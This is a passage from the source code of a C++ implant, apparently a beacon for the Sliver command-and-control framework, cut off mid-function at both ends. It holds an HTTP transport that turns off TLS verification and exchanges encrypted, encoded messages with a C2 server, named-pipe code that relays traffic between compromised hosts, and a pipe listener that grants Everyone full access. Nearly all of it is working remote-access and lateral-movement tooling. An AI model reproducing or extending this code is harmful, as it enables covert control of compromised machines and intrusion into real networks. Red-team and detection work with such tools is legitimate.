genSegments; 148 | } 149 | bool HttpClient::SessionInit() { 150 | auto key = crypto::RandomKey(); 151 | auto server_pbk = crypto::GetServerECCPublicKey(); 152 | auto keyPair = crypto::getKeyPair(); 153 | this->context.SetKey(key); 154 | sliverpb::HTTPSessionInit pb_req; 155 | pb_req.set_key(key.c_str(), key.size()); 156 | string serialized; 157 | pb_req.SerializeToString(&serialized); 158 | auto encrypted = crypto::ECCEncryptToServer(serialized); 159 | 160 | auto tp = encoders::GetRandomEncoder(); 161 | unique_ptr encoder{ std::move(std::get<1>(tp)) }; 162 | auto nonce = std::get<0>(tp); 163 | auto encoded = encoder->Encode(encrypted); 164 | 165 | auto now_utc = toUTC(std::chrono::system_clock::now()); 166 | auto totp = crypto::GetTOTP(now_utc+this->timeDelta); 167 | 168 | auto URI = this->StartSessionURL(); 169 | 170 | session->SetVerifySsl(cpr::VerifySsl{ false }); 171 | session->SetUrl(cpr::Url{ URI + string("?n=") + to_string(nonce) + string("&op=") + to_string(totp) }); 172 | session->SetBody(cpr::Body{ encoded }); 173 | cpr::Response resp = session->Post(); 174 | if (resp.status_code == 0) { 175 | #ifdef DEBUG 176 | cout << "[-] Unable to connect" << endl; 177 | #endif 178 | throw exception(); 179 | } 180 | if (resp.status_code != 200) { 181 | auto serverDateHeader = resp.header.find("Date")->second; 182 | auto tt = fromHTTPDate(serverDateHeader.c_str()); 183 | auto time_point = toUTC(&tt); 184 | auto delta = now_utc - time_point; 185 | this->timeDelta = delta; 186 | return false; 187 | } 188 | session->SetCookies(resp.cookies); 189 | auto decoded = encoder->Decode(resp.text); 190 | 191 | auto plaintext = this->context.Decrypt(decoded); 192 | this->sessionID = plaintext; 193 | return true; 194 | } 195 | 196 | bool HttpClient::WriteAndReceive(const sliverpb::Envelope& to_send, sliverpb::Envelope& recv) { 197 | string data; 198 | to_send.SerializeToString(&data); 199 | auto reqData = this->context.Encrypt(data); 200 | 201 | auto tp = encoders::GetRandomEncoder(); 202 | unique_ptr encoder{ std::move(std::get<1>(tp)) }; 203 | auto nonce = std::get<0>(tp); 204 | 205 | auto encoded = encoder->Encode(reqData); 206 | auto URI = this->SessionURL(); 207 | this->pollMutex.lock(); 208 | this->session->SetUrl(cpr::Url{ URI }); 209 | this->session->SetParameters(cpr::Parameters{ {"d",to_string(nonce)} }); 210 | this->session->SetBody(encoded); 211 | auto resp = this->session->Post(); 212 | this->pollMutex.unlock(); 213 | if (resp.status_code == 0) { 214 | #ifdef DEBUG 215 | cout << "[-] Unable to connect" << endl; 216 | #endif 217 | throw exception(); 218 | } 219 | if (resp.status_code == 404) { 220 | #ifdef DEBUG 221 | cout << "[-] http 404 response " << std::endl; 222 | #endif 223 | throw exception(); 224 | } 225 | if (resp.text.empty()) { 226 | return false; 227 | } 228 | auto decoded = encoder->Decode(resp.text); 229 | auto plain = this->context.Decrypt(decoded); 230 | return recv.ParseFromString(plain); 231 | } 232 | bool HttpClient::WriteEnvelope(sliverpb::Envelope& envelope) { 233 | string data; 234 | envelope.SerializeToString(&data); 235 | auto reqData = this->context.Encrypt(data); 236 | 237 | auto tp = encoders::GetRandomEncoder(); 238 | unique_ptr encoder{ std::move(std::get<1>(tp)) }; 239 | auto nonce = std::get<0>(tp); 240 | 241 | auto encoded = encoder->Encode(reqData); 242 | 243 | auto URI = this->SessionURL(); 244 | 245 | this->pollMutex.lock(); 246 | this->session->SetUrl(cpr::Url{ URI }); 247 | this->session->SetParameters(cpr::Parameters{ {"d",to_string(nonce)} }); 248 | this->session->SetBody(encoded); 249 | auto resp = this->session->Post(); 250 | this->pollMutex.unlock(); 251 | if (resp.status_code == 0) { 252 | #ifdef DEBUG 253 | cout << "[-] Unable to connect" << endl; 254 | #endif 255 | throw exception(); 256 | } 257 | if (resp.status_code == 404) { 258 | #ifdef DEBUG 259 | cout << "[-] http 404 response " << std::endl; 260 | #endif 261 | throw exception(); 262 | } 263 | else { 264 | return true; 265 | } 266 | } 267 | 268 | bool HttpClient::WriteEnvelopeNoResp(sliverpb::Envelope& envelope) { 269 | if (envelope.type() == sliverpb::MsgPivotPeerEnvelopeNoResponse) { 270 | envelope.set_type(sliverpb::MsgPivotPeerEnvelope); 271 | } 272 | return this->WriteEnvelope(envelope); 273 | } 274 | unique_ptr HttpClient::ReadEnvelope() { 275 | if (this->closed) { 276 | return nullptr; 277 | } 278 | if (this->sessionID.compare("") == 0) { 279 | return nullptr; 280 | } 281 | 282 | auto URI = this->PollURL(); 283 | 284 | auto tp = encoders::GetRandomEncoder(); 285 | unique_ptr encoder{ std::move(std::get<1>(tp)) }; 286 | auto nonce = std::get<0>(tp); 287 | this->pollMutex.lock(); 288 | this->session->SetUrl(cpr::Url{ URI }); 289 | this->session->SetParameters(cpr::Parameters{ {"d",to_string(nonce)} }); 290 | auto resp = this->session->Get(); 291 | this->pollMutex.unlock(); 292 | if (resp.status_code == 0) { 293 | #ifdef DEBUG 294 | cout << "[-] Unable to connect" << endl; 295 | #endif 296 | throw exception(); 297 | } 298 | if (resp.status_code == 403 || resp.status_code == 204) { 299 | #ifdef DEBUG 300 | cout << "got "<< resp.status_code << " from for " << this->sessionID << endl; 301 | #endif 302 | return nullptr; 303 | } 304 | else if(resp.status_code == 200){ 305 | unique_ptr encoder = make_unique(); 306 | auto decoded = encoder->Decode(resp.text); 307 | auto plain = this->context.Decrypt(decoded); 308 | auto env = make_unique(); 309 | env->ParseFromString(plain); 310 | return env; 311 | } 312 | } 313 | #endif 314 | } 315 | 316 | -------------------------------------------------------------------------------- /src/NamedPipeClient.cpp: -------------------------------------------------------------------------------- 1 | #if defined(PIVOT) && defined(SMBPIVOT) 2 | #include "Client.h" 3 | #include "pivots.h" 4 | #include "CryptoUtils.h" 5 | #include "constants.h" 6 | #include 7 | #define BUF_SIZE 32768 8 | using namespace std; 9 | 10 | namespace transports { 11 | NamedPipeClient::NamedPipeClient(const string& _pipe_name) : pipe_name(_pipe_name) { 12 | 13 | //pipe_name = regex_replace(_pipe_name, std::regex("\\"), "/"); 14 | std::replace(pipe_name.begin(), pipe_name.end(), '/', '\\'); 15 | pipe_name = regex_replace(pipe_name, std::regex("namedpipe:"), ""); 16 | this->hPipeRead = INVALID_HANDLE_VALUE; 17 | this->hPipeWrite = INVALID_HANDLE_VALUE; 18 | } 19 | bool NamedPipeClient::SessionInit() { 20 | if (this->hPipeRead != INVALID_HANDLE_VALUE) { 21 | CloseHandle(this->hPipeRead); 22 | this->hPipeRead = INVALID_HANDLE_VALUE; 23 | } 24 | if (this->hPipeWrite != INVALID_HANDLE_VALUE) { 25 | CloseHandle(this->hPipeRead); 26 | this->hPipeRead = INVALID_HANDLE_VALUE; 27 | } 28 | string tmp = this->pipe_name; 29 | this->hPipeWrite = CreateFileA( 30 | tmp.append("_readserver").c_str(), // pipe name 31 | GENERIC_READ | // read and write access 32 | GENERIC_WRITE, // read/write access 33 | 0, 34 | NULL, 35 | OPEN_EXISTING, 36 | 0, 37 | NULL); 38 | if (this->hPipeWrite == INVALID_HANDLE_VALUE) { 39 | #ifdef DEBUG 40 | int error = GetLastError(); 41 | std::cout << std::format("createfileA on {} failed with error: {}", tmp, error) << std::endl; 42 | #endif 43 | return false; 44 | } 45 | 46 | tmp = this->pipe_name; 47 | this->hPipeRead = CreateFileA( 48 | tmp.append("_writeserver").c_str(), // pipe name 49 | GENERIC_READ | // read and write access 50 | GENERIC_WRITE, // read/write access 51 | 0, 52 | NULL, 53 | OPEN_EXISTING, 54 | 0, 55 | NULL); 56 | if (this->hPipeRead == INVALID_HANDLE_VALUE) { 57 | #ifdef DEBUG 58 | int error = GetLastError(); 59 | std::cout << std::format("createfileA on {} failed with error: {}", tmp,error) << std::endl; 60 | #endif 61 | return false; 62 | } 63 | DWORD dwMode = PIPE_READMODE_BYTE; 64 | auto fSuccess = SetNamedPipeHandleState( 65 | this->hPipeRead, // pipe handle 66 | &dwMode, // new pipe mode 67 | NULL, // don't set maximum bytes 68 | NULL); 69 | fSuccess = SetNamedPipeHandleState( 70 | this->hPipeWrite, // pipe handle 71 | &dwMode, // new pipe mode 72 | NULL, // don't set maximum bytes 73 | NULL); 74 | auto id = pivots::generatePeerID(); 75 | //peer key exchange 76 | sliverpb::PivotHello req; 77 | req.set_peerid(id); 78 | string serialized; 79 | req.SerializeToString(&serialized); 80 | this->write(serialized); 81 | auto received = this->read(); 82 | sliverpb::PivotHello resp; 83 | resp.ParseFromString(received); 84 | this->peer_ctx.SetKey(resp.sessionkey()); 85 | 86 | //server key exchange 87 | auto key = crypto::RandomKey(); 88 | this->server_ctx.SetKey(key); 89 | auto enc = crypto::ECCEncryptToServer(key); 90 | sliverpb::PivotServerKeyExchange server_req; 91 | server_req.set_sessionkey(enc); 92 | server_req.set_originid(pivots::generatePeerID()); 93 | string server_req_serialized; 94 | server_req.SerializeToString(&server_req_serialized); 95 | sliverpb::PivotPeerEnvelope peer_env; 96 | peer_env.set_type(sliverpb::MsgPivotServerKeyExchange); 97 | peer_env.set_data(server_req_serialized); 98 | auto p = peer_env.add_peers(); 99 | p->set_name("PIVOT_PEER"); 100 | p->set_peerid(pivots::getPeerID()); 101 | string serialized_pivotpeerenvelope; 102 | peer_env.SerializeToString(&serialized_pivotpeerenvelope); 103 | sliverpb::Envelope serverkeyex_envelope; 104 | serverkeyex_envelope.set_data(serialized_pivotpeerenvelope); 105 | serverkeyex_envelope.set_type(sliverpb::MsgPivotPeerEnvelope); 106 | string final_serialized; 107 | serverkeyex_envelope.SerializeToString(&final_serialized); 108 | auto enc2 = this->peer_ctx.Encrypt(final_serialized); 109 | this->write(enc2); 110 | auto resp_from_server = this->ReadEnvelopeBlocking(); 111 | sliverpb::PivotServerKeyExchange keyex_resp; 112 | keyex_resp.ParseFromString(resp_from_server->data()); 113 | this->pivotSessionID = keyex_resp.sessionkey(); 114 | return true; 115 | } 116 | string NamedPipeClient::read() { 117 | DWORD n = 0; 118 | DWORD read = 0; 119 | BOOL res = false; 120 | res = ReadFile(this->hPipeRead, &n, sizeof(uint32_t), &read, NULL); 121 | if (!res) { 122 | throw exception(std::format("ReadFile returned error {}", GetLastError()).c_str()); 123 | } 124 | string out; 125 | out.resize(n); 126 | char* ptr = (char*)out.c_str(); 127 | read = 0; 128 | while (read < n) { 129 | if (n - read >= BUF_SIZE) { 130 | DWORD read_bytes = 0; 131 | res = ReadFile(this->hPipeRead, (LPVOID)ptr, BUF_SIZE, &read_bytes, NULL); 132 | if (!res) { 133 | throw exception(std::format("ReadFile returned error {}", GetLastError()).c_str()); 134 | } 135 | ptr += read_bytes; 136 | read += read_bytes; 137 | } 138 | else { 139 | DWORD read_bytes = 0; 140 | res = ReadFile(this->hPipeRead, (LPVOID)ptr, n-read, &read_bytes, NULL); 141 | if (!res) { 142 | throw exception(std::format("ReadFile returned error {}", GetLastError()).c_str()); 143 | } 144 | ptr += read_bytes; 145 | read += read_bytes; 146 | } 147 | } 148 | return out; 149 | /*char buf[2048] = { 0 }; 150 | DWORD read_bytes = 0; 151 | string out; 152 | out.resize(0); 153 | while (1) { 154 | DWORD message_bytes = 0; 155 | PeekNamedPipe(this->hPipe, NULL, NULL, NULL, NULL, &message_bytes); 156 | if (message_bytes) { 157 | auto res = ReadFile(this->hPipe, &buf, 2048, &read_bytes, NULL); 158 | if (res) { 159 | out.append(buf, read_bytes); 160 | break; 161 | } 162 | if (!res && GetLastError() == ERROR_MORE_DATA) { 163 | out.append(buf, read_bytes); 164 | } 165 | } 166 | } 167 | return out;*/ 168 | 169 | /*char buf[2048] = { 0 }; 170 | DWORD read_bytes = 0; 171 | string out; 172 | out.resize(0); 173 | while (1) { 174 | auto res = ReadFile(this->hPipeRead, &buf, 2048, &read_bytes, NULL); 175 | if (res) { 176 | out.append(buf, read_bytes); 177 | break; 178 | } 179 | else if (!res && GetLastError() == ERROR_MORE_DATA) { 180 | out.append(buf, read_bytes); 181 | } 182 | else if (!res && GetLastError() != ERROR_MORE_DATA) { 183 | throw exception(std::format("ReadFile failed with error {}", GetLastError()).c_str()); 184 | } 185 | } 186 | return out;*/ 187 | } 188 | bool NamedPipeClient::write(const string& in) { 189 | auto size = static_cast(in.size()); 190 | DWORD written = 0; 191 | BOOL res = false; 192 | res = WriteFile(this->hPipeWrite, &size, sizeof uint32_t, &written, NULL); 193 | if (!res) { 194 | throw exception(std::format("WriteFile returned error {}", GetLastError()).c_str()); 195 | } 196 | DWORD tot_written = 0; 197 | auto buff_ptr = (char*)in.c_str(); 198 | while (tot_written < size) { 199 | if (size - tot_written >= BUF_SIZE) { 200 | res = WriteFile(this->hPipeWrite, buff_ptr, BUF_SIZE, &written, NULL); 201 | if (!res) { 202 | throw exception(std::format("WriteFile returned error {}", GetLastError()).c_str()); 203 | } 204 | tot_written += written; 205 | buff_ptr += written; 206 | } 207 | else { 208 | res = WriteFile(this->hPipeWrite, buff_ptr, size - tot_written, &written, NULL); 209 | if (!res) { 210 | throw exception(std::format("WriteFile returned error {}", GetLastError()).c_str()); 211 | } 212 | tot_written += written; 213 | buff_ptr += written; 214 | } 215 | } 216 | //DWORD written = 0; 217 | //if (!WriteFile(this->hPipeWrite, in.c_str(), in.size(), &written, NULL) && written == 0) { 218 | // //throw exception(std::format("WriteFile failed with error {}", GetLastError()).c_str()); 219 | // auto size = in.size(); 220 | // written = 0; 221 | // WriteFile(this->hPipeWrite, &size, sizeof size, &written, NULL); 222 | // auto chunk_size = 50000; 223 | // auto ptr = in.c_str(); 224 | // size_t tot_written = 0; 225 | // while (1) { 226 | // if (tot_written == size) { 227 | // break; 228 | // } 229 | // size_t to_write = size - tot_written; 230 | // if (to_write > chunk_size) 231 | // to_write = chunk_size; 232 | // WriteFile(this->hPipeWrite, ptr, to_write, &written, NULL); 233 | // tot_written += written; 234 | // } 235 | //} 236 | return true; 237 | } 238 | bool NamedPipeClient::WriteAndReceive(const sliverpb::Envelope& to_send, sliverpb::Envelope& recv) { 239 | unique_lock lk{ pollMutex }; 240 | sliverpb::Envelope env = to_send; 241 | if (this->WriteEnvelope(env)) { 242 | auto resp = this->ReadEnvelopeBlocking(); 243 | if (resp != nullptr) { 244 | recv = *(resp.get()); 245 | return true; 246 | } 247 | } 248 | return false; 249 | } 250 | unique_ptr NamedPipeClient::ReadEnvelopeBlocking() { 251 | auto data = this->read(); 252 | auto plain = this->peer_ctx.Decrypt(data); 253 | unique_ptr incomingEnvelope = make_unique(); 254 | incomingEnvelope->ParseFromString(plain); 255 | if (incomingEnvelope->type() != sliverpb::MsgPivotPeerEnvelope) { 256 | return nullptr; 257 | } 258 | auto peerEnv = make_unique(); 259 | peerEnv->ParseFromString(incomingEnvelope->data()); 260 | if (peerEnv->peers()[0].peerid() != pivots::getPeerID()) { 261 | return incomingEnvelope; 262 | } 263 | plain = this->server_ctx.Decrypt(peerEnv->data()); 264 | unique_ptr env = make_unique(); 265 | env->ParseFromString(plain); 266 | return env; 267 | } 268 | unique_ptr NamedPipeClient::ReadEnvelope() { 269 | if (!this->Check()) { 270 | return nullptr; 271 | } 272 | auto data = this->read(); 273 | auto plain = this->peer_ctx.Decrypt(data); 274 | unique_ptr incomingEnvelope = make_unique(); 275 | incomingEnvelope->ParseFromString(plain); 276 | if (incomingEnvelope->type() != sliverpb::MsgPivotPeerEnvelope) { 277 | return nullptr; 278 | } 279 | auto peerEnv = make_unique(); 280 | peerEnv->ParseFromString(incomingEnvelope->data()); 281 | if (peerEnv->peers()[0].peerid() != pivots::getPeerID()) { 282 | return incomingEnvelope; 283 | } 284 | plain = this->server_ctx.Decrypt(peerEnv->data()); 285 | unique_ptr env = make_unique(); 286 | env->ParseFromString(plain); 287 | return env; 288 | } 289 | bool NamedPipeClient::Check() { 290 | DWORD available = 0; 291 | PeekNamedPipe(this->hPipeRead, NULL, 0, NULL, &available, NULL); 292 | if (available > 4) { 293 | return true; 294 | } 295 | else { 296 | return false; 297 | } 298 | } 299 | bool NamedPipeClient::WriteEnvelope_nolock(sliverpb::Envelope& env) { 300 | string serialized; 301 | env.SerializeToString(&serialized); 302 | string finalSerialized; 303 | if (env.type() != sliverpb::MsgPivotPeerEnvelope) { 304 | auto enc = this->server_ctx.Encrypt(serialized); 305 | sliverpb::PivotPeerEnvelope peerEnv; 306 | peerEnv.set_pivotsessionid(this->pivotSessionID); 307 | peerEnv.set_type(sliverpb::MsgPivotSessionEnvelope); 308 | peerEnv.set_data(enc); 309 | auto p = peerEnv.add_peers(); 310 | p->set_name("PIVOT_PEER"); 311 | p->set_peerid(pivots::getPeerID()); 312 | string serialized_peerEnv; 313 | peerEnv.SerializeToString(&serialized_peerEnv); 314 | sliverpb::Envelope envelope; 315 | envelope.set_data(serialized_peerEnv); 316 | envelope.set_type(sliverpb::MsgPivotPeerEnvelope); 317 | 318 | envelope.SerializeToString(&finalSerialized); 319 | } 320 | else { 321 | finalSerialized = serialized; 322 | } 323 | auto enc = this->peer_ctx.Encrypt(finalSerialized); 324 | return this->write(enc); 325 | } 326 | 327 | 328 | bool NamedPipeClient::WriteEnvelope(sliverpb::Envelope& env) { 329 | string serialized; 330 | env.SerializeToString(&serialized); 331 | string finalSerialized; 332 | if (env.type() != sliverpb::MsgPivotPeerEnvelope && env.type() != sliverpb::MsgPivotPeerEnvelopeNoResponse) { 333 | auto enc = this->server_ctx.Encrypt(serialized); 334 | sliverpb::PivotPeerEnvelope peerEnv; 335 | peerEnv.set_pivotsessionid(this->pivotSessionID); 336 | peerEnv.set_type(sliverpb::MsgPivotSessionEnvelope); 337 | peerEnv.set_data(enc); 338 | auto p = peerEnv.add_peers(); 339 | p->set_name("PIVOT_PEER"); 340 | p->set_peerid(pivots::getPeerID()); 341 | string serialized_peerEnv; 342 | peerEnv.SerializeToString(&serialized_peerEnv); 343 | sliverpb::Envelope envelope; 344 | envelope.set_data(serialized_peerEnv); 345 | envelope.set_type(sliverpb::MsgPivotPeerEnvelope); 346 | envelope.SerializeToString(&finalSerialized); 347 | } 348 | else { 349 | finalSerialized = serialized; 350 | } 351 | auto enc = this->peer_ctx.Encrypt(finalSerialized); 352 | return this->write(enc); 353 | } 354 | 355 | bool NamedPipeClient::WriteEnvelopeNoResp(sliverpb::Envelope& env) { 356 | unique_lock lk{ pollMutex }; 357 | string serialized; 358 | env.SerializeToString(&serialized); 359 | string finalSerialized; 360 | if (env.type() != sliverpb::MsgPivotPeerEnvelope && env.type() != sliverpb::MsgPivotPeerEnvelopeNoResponse) { 361 | auto enc = this->server_ctx.Encrypt(serialized); 362 | sliverpb::PivotPeerEnvelope peerEnv; 363 | peerEnv.set_pivotsessionid(this->pivotSessionID); 364 | peerEnv.set_type(sliverpb::MsgPivotSessionEnvelope); 365 | peerEnv.set_data(enc); 366 | auto p = peerEnv.add_peers(); 367 | p->set_name("PIVOT_PEER"); 368 | p->set_peerid(pivots::getPeerID()); 369 | string serialized_peerEnv; 370 | peerEnv.SerializeToString(&serialized_peerEnv); 371 | sliverpb::Envelope envelope; 372 | envelope.set_data(serialized_peerEnv); 373 | envelope.set_type(sliverpb::MsgPivotPeerEnvelopeNoResponse); 374 | envelope.SerializeToString(&finalSerialized); 375 | } 376 | else { 377 | finalSerialized = serialized; 378 | } 379 | auto enc = this->peer_ctx.Encrypt(finalSerialized); 380 | return this->write(enc); 381 | } 382 | } 383 | 384 | #endif -------------------------------------------------------------------------------- /src/NamedPipeConn.cpp: -------------------------------------------------------------------------------- 1 | #include "PivotConn.h" 2 | #include "CryptoUtils.h" 3 | #include 4 | #include 5 | #include "constants.h" 6 | #include "pivots.h" 7 | //#include "concurrent_queue.h" 8 | #include "Beacon.h" 9 | #define BUF_SIZE 32768 10 | using namespace std; 11 | using namespace transports; 12 | 13 | 14 | extern string instanceID; 15 | 16 | namespace pivots { 17 | PivotConn::PivotConn() { 18 | stop = false; 19 | } 20 | PivotConn::~PivotConn() { 21 | if (t.joinable()) 22 | t.join(); 23 | } 24 | void NamedPipeConn::Start() { 25 | std::thread t1{ 26 | [&] { 27 | while (1) { 28 | if (stop) { 29 | DisconnectNamedPipe(this->hRead); 30 | DisconnectNamedPipe(this->hWrite); 31 | CloseHandle(this->hRead); 32 | CloseHandle(this->hWrite); 33 | return; 34 | } 35 | try { 36 | auto env = ReadEnvelope(); 37 | if (env.type() == sliverpb::MsgPivotPeerEnvelope || env.type() == sliverpb::MsgPivotPeerEnvelopeNoResponse) { 38 | sliverpb::PivotPeerEnvelope peer_env; 39 | peer_env.ParseFromString(env.data()); 40 | auto peers = peer_env.peers(); 41 | for (auto it = peers.begin();it != peers.end();++it) { 42 | auto a = it->peerid(); 43 | } 44 | auto p = peer_env.add_peers(); 45 | auto temp = instanceID; 46 | temp.resize(8); 47 | p->set_name(temp); 48 | p->set_peerid(pivots::getPeerID()); 49 | for (auto it = peers.begin();it != peers.end();++it) { 50 | auto a = it->peerid(); 51 | } 52 | string serialized; 53 | peer_env.SerializeToString(&serialized); 54 | env.set_data(serialized); 55 | sliverpb::Envelope resp; 56 | if (env.type() == sliverpb::MsgPivotPeerEnvelope) { 57 | if (beacon->BeaconRecv(env, resp)) { 58 | WriteEnvelope(resp); 59 | } 60 | else { 61 | throw exception("BeaconRecv returned false"); 62 | } 63 | } 64 | else if (env.type() == sliverpb::MsgPivotPeerEnvelopeNoResponse) { 65 | if(!beacon->BeaconSend(env)) 66 | throw exception("BeaconSend returned false"); 67 | } 68 | } 69 | } 70 | catch (exception &e) { 71 | #ifdef DEBUG 72 | cout << std::format("NamedPipe Conn catched exception: {}", e.what())<< endl; 73 | #endif 74 | stop = true; 75 | } 76 | } 77 | } 78 | }; 79 | this->t = std::move(t1); 80 | /*std::thread t2{ 81 | [&] { 82 | while (1) { 83 | sliverpb::Envelope env; 84 | if (downstream->try_pop(env)) { 85 | WriteEnvelope(env); 86 | } 87 | } 88 | } 89 | }; 90 | t2.detach();*/ 91 | } 92 | 93 | void NamedPipeConn::Stop() { 94 | this->stop = true; 95 | if(t.joinable()) 96 | this->t.join(); 97 | } 98 | NamedPipeConn::NamedPipeConn(HANDLE _hRead,HANDLE _hWrite) : hRead(_hRead), hWrite(_hWrite) { 99 | //this->downstream = make_shared>(); 100 | } 101 | sliverpb::Envelope NamedPipeConn::ReadEnvelope() { 102 | auto data = read(); 103 | auto plain = ctx.Decrypt(data); 104 | sliverpb::Envelope env; 105 | env.ParseFromString(plain); 106 | return env; 107 | } 108 | bool NamedPipeConn::Check() { 109 | DWORD available = 0; 110 | PeekNamedPipe(this->hRead, NULL, 0, NULL, &available, NULL); 111 | if (available > 4) { 112 | return true; 113 | } 114 | else { 115 | return false; 116 | } 117 | } 118 | bool NamedPipeConn::WriteEnvelope(const sliverpb::Envelope& env) { 119 | string serialized; 120 | env.SerializeToString(&serialized); 121 | auto enc = this->ctx.Encrypt(serialized); 122 | return this->write(enc); 123 | } 124 | string NamedPipeConn::read() { 125 | DWORD n = 0; 126 | DWORD read = 0; 127 | BOOL res = false; 128 | res = ReadFile(this->hRead, &n, sizeof n, &read, NULL); 129 | if (!res) { 130 | throw exception(std::format("ReadFile returned error {}", GetLastError()).c_str()); 131 | } 132 | string out; 133 | out.resize(n); 134 | char* ptr = (char*)out.c_str(); 135 | read = 0; 136 | while (read < n) { 137 | if (n - read > BUF_SIZE) { 138 | DWORD read_bytes = 0; 139 | res = ReadFile(this->hRead, (LPVOID)ptr, BUF_SIZE, &read_bytes, NULL); 140 | if (!res) { 141 | throw exception(std::format("ReadFile returned error {}", GetLastError()).c_str()); 142 | } 143 | ptr += read_bytes; 144 | read += read_bytes; 145 | } 146 | else { 147 | DWORD read_bytes = 0; 148 | res = ReadFile(this->hRead, (LPVOID)ptr, n-read, &read_bytes, NULL); 149 | if (!res) { 150 | throw exception(std::format("ReadFile returned error {}", GetLastError()).c_str()); 151 | } 152 | ptr += read_bytes; 153 | read += read_bytes; 154 | } 155 | } 156 | return out; 157 | /*char buf[2048] = { 0 }; 158 | DWORD read_bytes = 0; 159 | string out; 160 | out.resize(0); 161 | while (1) { 162 | DWORD message_bytes = 0; 163 | PeekNamedPipe(this->h, NULL, NULL, NULL, NULL, &message_bytes); 164 | if (message_bytes) { 165 | auto res = ReadFile(this->h, &buf, 2048, &read_bytes, NULL); 166 | if (res) { 167 | out.append(buf, read_bytes); 168 | break; 169 | } 170 | if (!res && GetLastError() == ERROR_MORE_DATA) { 171 | out.append(buf, read_bytes); 172 | } 173 | } 174 | } 175 | return out;*/ 176 | /*char buf[2048] = { 0 }; 177 | DWORD read_bytes = 0; 178 | string out; 179 | out.resize(0); 180 | while (1) { 181 | auto res = ReadFile(this->hRead, &buf, 2048, &read_bytes, NULL); 182 | if (res) { 183 | out.append(buf, read_bytes); 184 | break; 185 | } 186 | if (!res && GetLastError() == ERROR_MORE_DATA) { 187 | out.append(buf, read_bytes); 188 | } 189 | } 190 | return out;*/ 191 | } 192 | bool NamedPipeConn::write(const string& in) { 193 | auto size = static_cast(in.size()); 194 | DWORD written = 0; 195 | BOOL res = false; 196 | res = WriteFile(this->hWrite, &size, sizeof uint32_t, &written, NULL); 197 | if (!res) { 198 | throw exception(std::format("WriteFile returned error {}", GetLastError()).c_str()); 199 | } 200 | DWORD tot_written = 0; 201 | auto buff_ptr = (char*)in.c_str(); 202 | while (tot_written < size) { 203 | if (size - tot_written > BUF_SIZE) { 204 | res = WriteFile(this->hWrite, buff_ptr, BUF_SIZE,&written,NULL); 205 | if (!res) { 206 | throw exception(std::format("WriteFile returned error {}", GetLastError()).c_str()); 207 | } 208 | tot_written += written; 209 | buff_ptr += written; 210 | } 211 | else { 212 | res = WriteFile(this->hWrite, buff_ptr, size - tot_written, &written, NULL); 213 | if (!res) { 214 | throw exception(std::format("WriteFile returned error {}", GetLastError()).c_str()); 215 | } 216 | tot_written += written; 217 | buff_ptr += written; 218 | } 219 | } 220 | return true; 221 | //DWORD written = 0; 222 | //auto hEvent = CreateEvent( 223 | // NULL, // default security attribute 224 | // TRUE, // manual-reset event 225 | // TRUE, // initial state = signaled 226 | // NULL); 227 | //OVERLAPPED ov; 228 | //ov.hEvent = hEvent; 229 | //ov.Offset = 0; 230 | //ov.OffsetHigh = 0; 231 | //WriteFile(this->h, in.c_str(), in.size(),&written, &ov); 232 | //if (WaitForSingleObject(hEvent, 1000)== WAIT_OBJECT_0) { 233 | // return true; 234 | //} 235 | //return false; 236 | 237 | /*DWORD written = 0; 238 | if (WriteFile(this->hWrite, in.c_str(), in.size(), &written, NULL)) 239 | return true; 240 | else 241 | return false;*/ 242 | } 243 | bool NamedPipeConn::peerKeyExchange() { 244 | auto s = this->read(); 245 | sliverpb::PivotHello hello; 246 | hello.ParseFromString(s); 247 | this->downstreamPeerID = hello.peerid(); 248 | auto key = crypto::RandomKey(); 249 | this->ctx.SetKey(key); 250 | sliverpb::PivotHello resp; 251 | resp.set_sessionkey(key); 252 | string serialized_resp; 253 | resp.SerializeToString(&serialized_resp); 254 | this->write(serialized_resp); 255 | return true; 256 | } 257 | } -------------------------------------------------------------------------------- /src/NamedPipeListener.cpp: -------------------------------------------------------------------------------- 1 | #include "listeners.h" 2 | #include 3 | #include "PivotConn.h" 4 | #include 5 | #include 6 | #include 7 | #define BUFSIZE 40000 8 | 9 | using namespace std; 10 | typedef struct 11 | { 12 | PSID Sid; 13 | PSID SidLow; 14 | PACL SAcl; 15 | 16 | PSECURITY_DESCRIPTOR SecDec; 17 | } SMB_PIPE_SEC_ATTR, * PSMB_PIPE_SEC_ATTR; 18 | namespace pivots { 19 | VOID SmbSecurityAttrOpen(PSMB_PIPE_SEC_ATTR SmbSecAttr, PSECURITY_ATTRIBUTES SecurityAttr) 20 | { 21 | SID_IDENTIFIER_AUTHORITY SidIdAuth = SECURITY_WORLD_SID_AUTHORITY; 22 | SID_IDENTIFIER_AUTHORITY SidLabel = SECURITY_MANDATORY_LABEL_AUTHORITY; 23 | EXPLICIT_ACCESSW ExplicitAccess = { 0 }; 24 | DWORD Result = 0; 25 | PACL DAcl = NULL; 26 | /* zero them out. */ 27 | memset(SmbSecAttr, 0, sizeof(SMB_PIPE_SEC_ATTR)); 28 | memset(SecurityAttr, 0, sizeof(PSECURITY_ATTRIBUTES)); 29 | 30 | if (!AllocateAndInitializeSid(&SidIdAuth, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &SmbSecAttr->Sid)) 31 | { 32 | printf("AllocateAndInitializeSid failed: %u\n", GetLastError()); 33 | return; 34 | } 35 | printf("SmbSecAttr->Sid: %p\n", SmbSecAttr->Sid); 36 | 37 | ExplicitAccess.grfAccessPermissions = SPECIFIC_RIGHTS_ALL | STANDARD_RIGHTS_ALL; 38 | ExplicitAccess.grfAccessMode = SET_ACCESS; 39 | ExplicitAccess.grfInheritance = NO_INHERITANCE; 40 | ExplicitAccess.Trustee.TrusteeForm = TRUSTEE_IS_SID; 41 | ExplicitAccess.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP; 42 | ExplicitAccess.Trustee.ptstrName = (LPWCH)SmbSecAttr->Sid; 43 | 44 | Result = SetEntriesInAclW(1, &ExplicitAccess, NULL, &DAcl); 45 | if (Result != ERROR_SUCCESS) 46 | { 47 | printf("SetEntriesInAclW failed: %u\n", Result); 48 | } 49 | printf("DACL: %p\n", DAcl); 50 | 51 | if (!AllocateAndInitializeSid(&SidLabel, 1, SECURITY_MANDATORY_LOW_RID, 0, 0, 0, 0, 0, 0, 0, &SmbSecAttr->SidLow)) 52 | { 53 | printf("AllocateAndInitializeSid failed: %u\n", GetLastError()); 54 | } 55 | printf("sidLow: %p\n", SmbSecAttr->SidLow); 56 | 57 | SmbSecAttr->SAcl = (PACL)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,MAX_PATH); 58 | if 